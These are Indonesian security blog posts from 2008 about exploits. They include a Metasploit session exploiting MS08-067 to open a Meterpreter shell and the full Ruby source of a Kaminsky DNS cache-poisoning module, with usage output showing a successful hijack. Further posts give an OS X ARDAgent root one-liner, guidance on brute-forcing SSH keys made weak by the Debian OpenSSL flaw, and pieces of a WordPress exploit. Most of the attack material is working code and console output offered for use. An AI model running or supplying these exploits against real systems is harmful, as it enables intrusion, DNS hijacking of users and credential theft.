Kecoak Elektronik Indonesia

October 31, 2008

MS08-067

Filed under: Eksploit — staff @ 1:51 am

msf > version
Framework: 3.2-testing.5773
Console  : 3.2-testing.5773

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options

Module options:

Name     Current Setting  Required  Description
—-     —————  ——–  ———–
RHOST                     yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

msf exploit(ms08_067_netapi) > info windows/smb/ms08_067_netapi

Name: Microsoft Server Service Relative Path Stack Corruption
Version: 5803
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)

Provided by:
hdm <hdm@metasploit.com>

Available targets:
Id  Name
–  —-
0   Windows XP SP2 English (DEP)
1   Windows XP SP3 English (DEP)
2   Windows 2003 SP0 English (NO DEP)
3   Windows 2003 SP2 English (NO DEP)

Basic options:
Name     Current Setting  Required  Description
—-     —————  ——–  ———–
RHOST                     yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:
Space: 400
Avoid: 7 characters

Description:
This module exploits a parsing flaw in the path canonicalization
code of NetAPI32.dll through the Server Service. This module is
capable of bypassing DEP on some operating systems and service
packs. The correct target must be used to prevent the Server Service
(along with a dozen others in the same process) from crashing.
Windows XP targets seem to handle multiple successful exploitation
events, but 2003 targets will often crash or hang on subsequent
attempts. This is just the first version of this module, full
support for DEP bypass on 2003, along with other platforms, is still
in development.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250
http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx

msf exploit(ms08_067_netapi) > set RHOST 192.168.132.130
RHOST => 192.168.132.130

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(ms08_067_netapi) > set TARGET 0
TARGET => 0
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Connecting to the target…
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.132.130[\BROWSER] …
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.132.130[\BROWSER] …
[*] Triggering the vulnerability…
[*] Transmitting intermediate stager for over-sized stage…(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage…
[*] Uploading DLL (73227 bytes)…
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.132.1:51707 -> 192.168.132.130:4444)

meterpreter > sysinfo
Computer: Research-1
OS      : Windows XP (Build 2600, Service Pack 2).

Lagi-lagi netbios menjadi pintu masuk Microsoft Windows. Mungkin sudah saatnya pemberi tutorial melupakan RPC DCOM holes untuk contoh menembus Microsoft Windows via Metasploit.

I think everyone love 2008…

July 25, 2008

Then the sploit is all around…

Filed under: Eksploit — Cyberheb @ 3:34 pm

Sangat mudah diduga, dengan hitungan jam setelah disclosure bug, exploit untuk DNS sudah bertebaran. Sebagai informasi, tidak semua organisasi/perusahaan melakukan update system secara berkala (terutama di Indonesia). DNS merupakan infrastruktur yang sangat crucial dalam dunia internet, apabila suatu DNS bisa di control isinya, maka kita dapat dengan mudah mengontrol para pengguna lain yang menggunakan DNS tersebut dengan mengarahkannya pada server pribadi (contoh: redirect url untuk internet banking).

This (attack takes) ten seconds to hijack the net. . . . Unless you like other people reading your e-mail, go patch. If you want to actually see Google and Yahoo and MySpace and Facebook and the entire web, if you actually want to see the correct web sites, go patch. The debate about whether this bug is new or old is ultimately useless. In ten seconds, the ISP DNS servers are taken over . — Dan Kaminsky

Well, I choose metasploit for this anyway since it’s easy to understand the pattern of bailiwicked attack with this sploit (created by |)ruid & HDM). Metasploit menggunakan scruby (implementasi scapy dengan ruby pada metasploit) untuk manipulasi paket spoofing.

################# DNS protocol exploit by Metasploi

____      ____     __    __
/    \    /    \   |  |  |  |
—-====####/  /\__\##/  /\  \##|  |##|  |####====—-
|  |      |  |__|  | |  |  |  |
|  |  ___ |   __   | |  |  |  |
——======######\  \/  /#|  |##|  |#|  |##|  |######======——
\____/  |__|  |__|  \______/

Computer Academic Underground
http://www.caughq.org
Exploit Code

===============/========================================================
Exploit ID:     CAU-EX-2008-0002
Release Date:   2008.07.23
Title:          bailiwicked_host.rb
Description:    Kaminsky DNS Cache Poisoning Flaw Exploit
Tested:         BIND 9.4.1-9.4.2
Attributes:     Remote, Poison, Resolver, Metasploit
Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
Author/Email:   I)ruid <druid (@) caughq.org>
H D Moore <hdm (@) metasploit.com>
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver.  This exploit caches a single malicious host entry
into the target nameserver.  By causing the target nameserver to query
for random hostnames at the target domain, the attacker can spoof a
response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.

Example
=======

# /msf3/msfconsole

_                  _       _ _
| |                | |     (_) |
_ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| ‘_ ` _ \ / _ \ __/ _` / __| ‘_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|

=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 72 aux

msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options

Module options:

Name      Current Setting    Required  Description
----      ---------------    --------  -----------
HOSTNAME  pwned.example.com  yes       Hostname to hijack
NEWADDR   1.3.3.7            yes       New address for hostname
RECONS    208.67.222.222     yes       Nameserver used for reconnaissance
RHOST                        yes       The target address
SRCPORT                      yes       The target server's source query port (0 for automatic)
XIDS      10                 yes       Number of XIDs to try for each query

msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D

msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability…
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to poisoning

msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0

msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.’s nameservers…
[*]  Got answer with 2 answers, 0 authorities
[*]  Got an NS record: example.com.            172643  IN      NS      ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com….
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns89.worldnic.com.      172794  IN      A       205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com….
[*]   ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*]  Got an NS record: example.com.            172643  IN      NS      ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com….
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns90.worldnic.com.      172794  IN      A       205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com….
[*]   ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178…
[*] Sent 1000 queries and 20000 spoofed responses…
[*] Sent 2000 queries and 40000 spoofed responses…
[*] Sent 3000 queries and 60000 spoofed responses…
[*] Sent 4000 queries and 80000 spoofed responses…
[*] Sent 5000 queries and 100000 spoofed responses…
[*] Sent 6000 queries and 120000 spoofed responses…
[*] Sent 7000 queries and 140000 spoofed responses…
[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) >

msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D

Server:         A.B.C.D
Address:        A.B.C.D#53

Non-authoritative answer:
Name:   pwned.example.com
Address: 1.3.3.7

Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.

References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113

Metasploit
==========

require ‘msf/core’
require ‘net/dns’
require ’scruby’
require ‘resolv’

module Msf

class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary

include Exploit::Remote::Ip

def initialize(info = {})
super(update_info(info,
‘Name’           => ‘DNS BailiWicked Host Attack’,
‘Description’    => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
malicious host entry into the target nameserver by sending random sub-domain
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for the domain which contain a
malicious host entry for the hostname to be poisoned in the authority and
additional records sections.  Eventually, a guessed ID will match and the
spoofed packet will get accepted, and due to the additional hostname entry
being within bailiwick constraints of the original request the malicious host
entry will get cached.
},
‘Author’         => [ 'I)ruid', 'hdm' ],
‘License’        => MSF_LICENSE,
‘Version’        => ‘$Revision: 5585 $’,
‘References’     =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
‘Privileged’     => true,
‘Targets’        =>
[
["BIND",
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
},
],
],
‘DisclosureDate’ => ‘Jul 21 2008′
))

register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new(’HOSTNAME’, [true, 'Hostname to hijack', 'pwned.example.com']),
OptAddress.new(’NEWADDR’, [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new(’RECONS’, [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new(’XIDS’, [true, 'Number of XIDs to try for each query', 10]),
OptInt.new(’TTL’, [true, 'TTL for the malicious host entry', 31337]),
], self.class)

end

def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end

def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end

print_status("Using the Metasploit service to verify exploitability…")
srv_sock = Rex::Socket.create_udp(
‘PeerHost’ => targ,
‘PeerPort’ => 53
)

random = false
ports  = []
lport  = nil

1.upto(5) do |i|

req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join(”) =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(’:')

print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport  = t_port
ports << t_port
end
end
end
end

srv_sock.close

if(ports.length < 5)
print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
return
end

if(random)
print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
print_status("      This server may still be exploitable, but not by this tool.")
else
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
end
end

def run
target   = rhost()
source   = Rex::Socket.source_address(target)
sport    = datastore['SRCPORT']
hostname = datastore['HOSTNAME'] + ‘.’
address  = datastore['NEWADDR']
recons   = datastore['RECONS']
xids     = datastore['XIDS'].to_i
ttl      = datastore['TTL'].to_i
xidbase  = rand(4)+2*10000

domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]

srv_sock = Rex::Socket.create_udp(
‘PeerHost’ => target,
‘PeerPort’ => 53
)

# Get the source port via the metasploit service if it’s not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join(”) =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(’:')
sport = t_port.to_i

print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver’s query source address #{t_addr}!")
end
end
end
end
end

# Verify its not already cached
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname  and data.address.to_s == address)
t = Time.now + ttl
print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
print_status("         Cache entry expires on #{t.to_s}… sleeping.")
cached = true
sleep ttl
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end

res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}’s nameservers…"
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == ‘NS’
print_status "  Querying recon nameserver for address of #{rr0.nsdname}…"
answer1 = res0.send(rr0.nsdname) # get the ns’s answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}…"
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
end
end

if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end

# Flood the target with queries and spoofed responses, one will eventually hit
queries = 0
responses = 0

connect_ip if not ip_sock

print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}…")

while true
randhost = Rex::Text.rand_text_alphanumeric(12) + ‘.’ + domain # randomize the hostname

# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost, Resolv::DNS::Resource::IN::A)

req.rd = 1

buff = (
Scruby::IP.new(
#:src   => barbs[0][:addr].to_s,
:src   => source,
:dst   => target,
:proto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1

# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.qr = 1
req.ra = 1

xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src   => barbs[i][:addr].to_s,
:src   => barb[:addr].to_s,
:dst   => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport => sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end

# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses…")
end

# every so often, check and see if the target is poisoned…
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s == address)
print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end

end

end

end
end

June 26, 2008

OSAscript/setuid root

Filed under: 0day, Eksploit, News — Cyberheb @ 11:20 am

$ osascript -e ‘tell app “ARDAgent” to do shell script “whoami”‘
root

Simple, tapi critical. Untuk yang menggunakan OS X dan masih mendapatkan response dari shell seperti diatas ada baiknya mengikuti workaround dari http://www.tuaw.com/ardfix/. Walaupun banyak pendapat yang mengatakan bugs ini butuh ‘physical access’, tapi tetap saja setuid root vulnerability ini bisa jadi jalan masuk trojan melalui web, yang pasti bisa melakukan banyak hal tanpa password.

May 16, 2008

Brute the crypto library

Filed under: Eksploit, Journal, News — Cyberheb @ 12:09 am

Rasanya baru beberapa minggu yang lalu saat phoenix nge-buzz saya via YM mengenai POC yang dia buat berdasarkan informasi di bugtraq untuk dapat melakukan DOS (dan mungkin remote exploitation) pada openssh (masalah pada malloc memory allocation) dimana masih terdapat kegagalan untuk kemudian di diskusikan bersama, minggu ini sudah ada berita lain yang cukup mengejutkan dari distribusi debian.

Seperti yang kita ketahui bersama bahwa Luciano Bello menemukan bugs pada paket openssl Debian dimana kita dapat dengan mudah memperkirakan data random yang di generate oleh openssl. Data random ini digenerate oleh beberapa parameter yang disebut ’seed’, misalnya gerakan mouse, ketikan keyboard, dll. Hasil generate tergantung algoritma yang digunakan, apabila menggunakan DSA 1024 bit maka kemungkinan key yang digunakan adalah 2^1024. Bugs pada openssl ini telah digunakan oleh distribusi Debian sejak tahun 2006, penyebab awalnya adalah informasi dari Daniel Brahneborg yang mengatakan bahwa tools Valgrind dan juga Purify yang dia gunakan saat develop suatu aplikasi menyatakan adanya Uninitialized Variable, kemudian diputuskan bahwa ada masalah pada salah satu code di md_rand.c sehingga baris tersebut di hapus dari distribusi openssl debian. Penghapusan code tersebutlah akar dari permasalahan PRNG openssl debian.

Dan seperti yang kita ketahui juga bahwa openssl merupakan library yang umum digunakan oleh banyak aplikasi user dalam hal menangani masalah kriptografi, salah satunya adalah SSH. Jika awalnya total kemungkinan keys yang digenerate adalah 2^1024, maka pada distribusi debian tersebut total kemungkinan unique keys yang digenerate adalah 2^15. Kenapa?!karena ternyata dengan penghapusan baris code di md_rand.c tersebut menyebabkan satu-satunya parameter yang digunakan sebagai seed untuk randomisasi adalah PID (Process ID), dan di sistem Linux umumnya total proses ID berjumlah 32,767. HDM memberikan penjelasan yang lebih teknikal disini.

HDM juga telah develop tools yang dapat digunakan untuk membuat ‘kamus data’ berisi seluruh SSH Keys untuk algoritma 1024-bit DSA, 2048-bit RSA, dan 4096-bit RSA. Key-key tersebut digenerate dengan menggunakan GetPID Faker shared library yang akan membantu generate keys dengan memberikan informasi Proses ID palsu, mulai dari 1 s/d 32,767.

Sisanya?! mungkin cara gampangnya adalah memanfaatkan script Markus Mueler untuk bruteforce SSH server dengan bermodalkan ‘kamus data’ HDM diatas. HDM juga memberikan tips dimana untuk bruteforce SSH bisa memanfaatkan key-key dengan PID dibawah 200, karena keys-keys tersebut digenerate saat boot time sehingga process ID yang umumnya digunakan dibawah 200. Dan untuk aplikasi user lainnya bisa diperkirakan menggunakan Proses ID antara 500 ~ 10,000. Dengan mekanisme ini maka proses bruteforce bisa lebih efektif, dan kita juga bisa men-develop script sendiri untuk melakukan tugas ini.

Syarat vulnerable-nya hanya satu, aplikasi yang hendak di bruteforce (entah itu SSH, HTTPS, SSL type, dll) meng-generate keys pada distribusi debian yang vulnerable (termasuk turunannya seperti ubuntu, kubuntu, dll). Meskipun target bukanlah sistem debian, namun jika keys-nya di generate oleh sistem debian dan digunakan oleh distribusi lain tersebut maka akan tetap vulnerable. Hal inilah yang membuat sangat berbahaya mengingat pecinta debian sangat banyak, bahkan di Indonesia juga banyak sekali sistem yang dibangun menggunakan debian based. Setau saya para dedengkot seperti andhika triwidada juga pecinta debian :D.

Selama sistem target tidak memiliki pelindung terhadap serangan bruteforce, maka kita bisa melakukan SSH bruteforce ke sistem tersebut. Ada beberapa cara dan tools yang telah disediakan debian untuk mencari tau apakah sistem kita aman atau tidak, cara paling mudah (khususnya utk para admin server) mungkin dengan mencoba langsung script markus mueller terhadap sistem localhost untuk meng-crack SSH keys yang tersimpan pada

/root/.ssh/authorized_keys

Hm, jika yang vulnerable adalah suatu aplikasi, maka mungkin hanya akan berdampak pada sistem yang install aplikasi tersebut. Namun jika yang vulnerable adalah library, maka hal tersebut akan menjadi bencana. Karena library digunakan oleh beragam aplikasi, maka akan luar biasa banyaknya target yang dapat diserang melalui celah library tersebut. Lebih parah lagi, kita bukan hanya diharuskan untuk update package OpenSSL debian yang bersangkutan, namun juga diharuskan meng-generate ulang seluruh aplikasi pada sistem milik kita yang sebelumnya memanfaatkan OpenSSL debian. Dan pecinta debian juga banyak sekali, bukan hanya di Indonesia tapi juga di luar negeri. Dan jangan lupa, debian merupakan base distro untuk distro-distro populer semacam ubuntu dan kubuntu. Wew.

Btw, komo pake apa ya?gentoo kah?! :P.

October 9, 2007

Exploit wordpress oleh LMH

Filed under: Code Exploration, Eksploit, Underground, Websecurity — Cyberheb @ 3:00 pm

Pada salah satu sesi chatting, ada pertanyaan yang cukup menarik:

anon: mas, tau gak tentang pwnpress?
h3b: apa tuh?
anon: exploit untuk wordpress, yang buat LMH
h3b: oya?biasa nya tools buatan LMH menarik tuh
anon: iya, cuman ada yang aneh…kok sering failed nya ya?
h3b: emang gak ada manual help nya?
anon: ada sih help nya, cuma sring failed dan kyk nya gak stabil…coba dech lihat, ada di milw0rm tuh
h3b: liat dulu ya…jd penasaran

Exploit pwnpress nya LMH dapat download di sini . Tools-tools dari LMH biasa nya unik, dan untuk pwnpress ini sendiri juga cukup unik, salah satu yang unik nya…untuk menjalankan exploit ini harus menggunakan nama pwnpress.rb. Disatu sisi, ada sebagian pihak yang berpendapat hal ini menunjukan betapa lamme nya si pembuat exploit, padahal kan bisa di buat agar code di eksekusi dengan menggunakan nama apapun (kadang kita copy-paste source dari milw0rm dan save-as dengan nama yang sesuai kehendak) dan tidak masalah, namun untuk pwnpress dari LMH ini code exploit harus di simpan sebagai pwnpress.rb, dan eksekusi program harus menggunakan nama ini. Ini bisa kita lihat dari source code nya:

if $0 =~ /pwnpress.rb/
require ‘optparse’

OPTIONS = {}

def vputs(msg)
if OPTIONS[:verbose]
puts “+> #{msg}”
end
end

Pada bagian inilah proses exploitasi akan dimulai, dan bagi yang tidak membaca source code nya akan mengalami kebingungan sesaat (including me, LOL). Tapi di sisi lain, ini salah satu tipikal seseorang yang memiliki keunikan tersendiri dengan tujuan agar code buatan nya tidak cuma di jalankan begitu saja (script kiddies style), namun kita harus membaca source code nya terlebih dahulu sebelum menggunakan code exploit tersebut. Saya tidak tahu LMH masuk pada bagian yang mana, namun yang pasti…tools-tools buatan LMH selain unik juga terstruktur dengan sangat rapih dan apik, pada pwnpress bisa kita lihat bagaimana source code program nya yang terstruktur dengan baik, plus komentar-komentar men-detail dengan mencantumkan referensi-referensi berdasarkan hole wordpress yang telah ditemukan sebelumnya, serta efisiensi penggunaan source code (penggunaan symbol sebagai variable di ruby sebagai contoh, menunjukan bahwa code program tersebut lebih efisien dibandingkan penggunaan string yang menghabiskan lebih banyak resource memory). Walaupun LMH terkenal dengan underground style nya, namun kemampuan coding nya setipe dengan coder profesional, well…security profesional ;).

Oke, enough, kembali ke topik. Jika kita coba praktekan exploit tersebut, memang akan muncul keanehan seperti yang dirasakan oleh lawan bicara saya di chat tersebut, dimana kadang exploit mengalami kegagalan dengan pesan error yang gak jelas, kadang dia gagal melakukan fingerprinting, kalaupun berhasil cuma menampilkan informasi yang kesan nya lamme, apabila target merupakan blog wordpress yang telah hardly customize maka pwnpress tidak bisa melakukan apapun, dsb. Benarkah?!yup, apabila dilihat sepintas memang seperti itu, namun sekali lagi…jika kita memperhatikan source code nya maka pwnpress lebih dari sekedar exploit biasa (yang diasumsikan sebagai exploit sekali jalan, eksekusi dan dapat hasil). Dari source code tersebut, saya melihat pwnpress merupakan suatu template, atau lebih tepat nya…framework untuk exploitasi wordpress. Ada 2 bagian besar pada pwnpress, yaitu scanning (lebih tepat nya adalah, fingerprinting) serta exploitasi. Disamping itu juga terdapat cukup banyak method-method menarik yang digunakan untuk proses scanning dan exploitasi tersebut, diantara nya adalah menambahkan method baru untuk salah satu class utama ruby, Class Array dan Class String.

Kita dapat memahami proses kerja nya yang dijelaskan dengan mendetail (ini tipikal seorang coder yang baik dan profesional) pada exploit tersebut, metode-metode yang digunakan untuk fingerprinting versi wordpress target (via meta_generator, rss_feed_links, rss2_generator, atom_generator, serta isi page yang biasa nya terdapat “powered by wordpress”), metode exploitasi dengan mengacu pada “known vulnerablities” di wordpress, randomisasi user agent, randomisasi ip_address penyerang, dsb. Hal-hal inilah yang membuat pwnpress bukan sekedar exploit biasa, namun lebih kepada framework. Dengan menggunakan pwnpress, kita dapat menambahkan sendiri tipe fingerprinting untuk bisa mendapatkan versi wordpress yang diinginkan, menambahkan jenis exploit berdasarkan hole yang telah diketahui maupun yang belum diketahui, menambahkan metode-metode tambahan, dll. Pwnpress dapat di-customize sesuai dengan perkembangan wordpress serta pengetahuan kita untuk melakukan eksploitasi pada target, inilah seni dari exploit pwnpress milik LMH.

LMH mencuat nama nya berkat MoAB (Month Of Apple Bugs), beberapa waktu lalu pun sempat terjadi debat pendapat mengenai identitas LMH, jika dilihat sepintas mengenai variasi bidang yang disentuh oleh LMH maka tidak heran ada yang berpendapat bahwa LMH hanyalah nick yang digunakan oleh beberapa orang. Namun penguasaan beberapa bidang bukan sesuatu yang aneh dikalangan underground, terlepas dari hal itu…saya pribadi salut dengan keunikan code-code yang dihasilkan oleh LMH dimana disertai dengan dokumentasi singkat dan efisien namun padat sehingga mempermudah kita mencerna proses kerja code-code tersebut, paling tidak kita bisa melihat hasil nya dari interface web metasploit (msfweb) yang merupakan salah satu hasil kerja LMH ;).

Oh iya, tidak perlu dijelaskan panjang lebar mengenai isi code pwnpress.rb, silahkan baca sendiri karena dokumentasi proses kerja nya sudah akurat, bahasa pemrograman yang digunakan adalah ruby. Ruby menggunakan pendekatan “bahasa manusia” dengan konsep “bahasa inggris (english)” sehingga cukup mudah mencerna code-code tersebut. Sisa nya adalah kemauan untuk membaca.

October 1, 2007

GoogH0le

Filed under: Eksploit, News, Websecurity — Cyberheb @ 4:42 am

Semakin menakutkan saja aktivitas dari para researcher web security, saat ini mereka mulai membuktikan bahwa jenis serangan XSS bukan hal yang sepele. Mereka berhasil membuktikan bahwa XSS mampu meng-eksploitasi aplikasi-aplikasi google, bagi yang berminat untuk mengetahui lebih jauh bisa membaca pada blog nya Giorgio Maone di sini. Dari link tersebut kita juga dapat mencoba POC untuk eksploitasi google, namun seperti nya sekarang ini sudah di blok oleh google dan diganti dengan halaman lain :(.

Disamping jenis hole yang dijelaskan oleh Giorgio Maone pada blog nya, bagian lain dari kelompok GNUCITIZEN juga ikut meramaikan proses eksploitasi pada GMail dengan memanfaatkan hole CSRF (Cross-Site Request Forgery), hole ini dapat digunakan untuk menanam ‘backdoor’ pada account GMail target pada bagian filtering email, dimana hasil nya semua email atau email-email dengan kriteria tertentu yang di tujukan pada target akan di forward ke email penyerang, trik nya sederhana tapi sangat cerdik. Tepat seperti yang disebutkan pada blog tersebut, tidak dibutuhkan untuk pwned box target…dengan melakukan pwned pada mailbox nya maka bisa jauh lebih menakutkan hasil nya (full-disclose dari informasi pribadi, login/password bankin, login/password hosting, dll).

Backdooring pada pada GMail ini diceritakan secara singkat pada blog nya eno7. Oh ya, Firefox with Noscript is still our friend to avoid this ;).

September 27, 2007

A r00t shell in iPhone

Filed under: Eksploit, News, Tips 'n Trick — Cyberheb @ 12:02 pm

HDM mulai melakukan eksplorasi terhadap iPhone, dia berhasil mendapatkan shell (reverse-shell dan bind-shell) pada iPhone via payload (dummy shell) yang merupakan hasil generate dari MSF 3. Check his (cute) start-up technique to explore the iPhone (include some intresting information regarding the iPhone) on metasploit blog.

Blog By You-Know-What